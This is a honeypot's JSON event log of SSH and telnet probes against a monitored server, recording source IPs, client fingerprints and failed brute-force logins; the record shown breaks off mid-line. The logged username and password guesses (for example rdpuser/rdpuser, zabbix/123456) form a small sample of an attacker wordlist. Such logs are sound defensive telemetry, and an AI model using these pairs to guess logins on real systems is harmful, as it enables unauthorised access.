{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:43.128402Z","src_ip":"80.94.92.182","session":"da496c8c38f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:43.292724Z","src_ip":"80.94.92.182","session":"da496c8c38f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:44.318909Z","src_ip":"80.94.92.182","session":"da496c8c38f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:45.763660Z","src_ip":"80.94.92.182","session":"da496c8c38f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":49448,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ec60562179d","protocol":"ssh","message":"New connection: 20.203.42.204:49448 (159.203.135.109:22) [session: 9ec60562179d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:46.936495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:46.941577Z","src_ip":"20.203.42.204","session":"9ec60562179d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":43990,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd24c329d37e","protocol":"ssh","message":"New connection: 45.153.34.114:43990 (159.203.135.109:22) [session: fd24c329d37e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:46.974457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:46.983794Z","src_ip":"45.153.34.114","session":"fd24c329d37e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:47.064228Z","src_ip":"45.153.34.114","session":"fd24c329d37e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:47.113983Z","src_ip":"20.203.42.204","session":"9ec60562179d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.212225198745728,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:47.384970Z","src_ip":"74.91.213.120","session":"01858b80aa16","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:47.420095Z","src_ip":"45.153.34.114","session":"fd24c329d37e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:47.805722Z","src_ip":"20.203.42.204","session":"9ec60562179d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:48.505859Z","src_ip":"45.153.34.114","session":"fd24c329d37e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:48.982702Z","src_ip":"20.203.42.204","session":"9ec60562179d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":36098,"dst_ip":"159.203.135.109","dst_port":22,"session":"cde6f7236f3f","protocol":"ssh","message":"New connection: 103.75.199.4:36098 (159.203.135.109:22) [session: cde6f7236f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:50.365411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:50.370673Z","src_ip":"103.75.199.4","session":"cde6f7236f3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:50.461902Z","src_ip":"103.75.199.4","session":"cde6f7236f3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:50.735389Z","src_ip":"103.75.199.4","session":"cde6f7236f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:51.829705Z","src_ip":"103.75.199.4","session":"cde6f7236f3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.148878574371338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:54.216269Z","src_ip":"74.91.213.120","session":"63cf9f2a1e7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45934,"dst_ip":"159.203.135.109","dst_port":22,"session":"2272f5ba2f0e","protocol":"ssh","message":"New connection: 45.153.34.114:45934 (159.203.135.109:22) [session: 2272f5ba2f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:54.844759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:54.849820Z","src_ip":"45.153.34.114","session":"2272f5ba2f0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:54.936746Z","src_ip":"45.153.34.114","session":"2272f5ba2f0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:55.300609Z","src_ip":"45.153.34.114","session":"2272f5ba2f0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:16:56.390229Z","src_ip":"45.153.34.114","session":"2272f5ba2f0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40316,"dst_ip":"159.203.135.109","dst_port":22,"session":"34ef2da60e52","protocol":"ssh","message":"New connection: 45.153.34.114:40316 (159.203.135.109:22) [session: 34ef2da60e52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:02.996689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:03.006017Z","src_ip":"45.153.34.114","session":"34ef2da60e52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:03.084527Z","src_ip":"45.153.34.114","session":"34ef2da60e52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:03.421321Z","src_ip":"45.153.34.114","session":"34ef2da60e52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:04.522695Z","src_ip":"45.153.34.114","session":"34ef2da60e52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34088,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f140152534f","protocol":"ssh","message":"New connection: 45.153.34.114:34088 (159.203.135.109:22) [session: 8f140152534f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:11.159180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:11.166165Z","src_ip":"45.153.34.114","session":"8f140152534f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:11.258204Z","src_ip":"45.153.34.114","session":"8f140152534f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lenovo","password":"lenovo","message":"login attempt [lenovo/lenovo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:11.590563Z","src_ip":"45.153.34.114","session":"8f140152534f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":38178,"dst_ip":"159.203.135.109","dst_port":22,"session":"0246d9c982a0","protocol":"ssh","message":"New connection: 103.75.199.4:38178 (159.203.135.109:22) [session: 0246d9c982a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:12.263485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:12.268432Z","src_ip":"103.75.199.4","session":"0246d9c982a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:12.360217Z","src_ip":"103.75.199.4","session":"0246d9c982a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:12.631656Z","src_ip":"103.75.199.4","session":"0246d9c982a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:12.678577Z","src_ip":"45.153.34.114","session":"8f140152534f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:13.725987Z","src_ip":"103.75.199.4","session":"0246d9c982a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":34104,"dst_ip":"159.203.135.109","dst_port":22,"session":"c001078191d7","protocol":"ssh","message":"New connection: 45.153.34.114:34104 (159.203.135.109:22) [session: c001078191d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:19.228038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:17:19.232468Z","src_ip":"45.153.34.114","session":"c001078191d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","s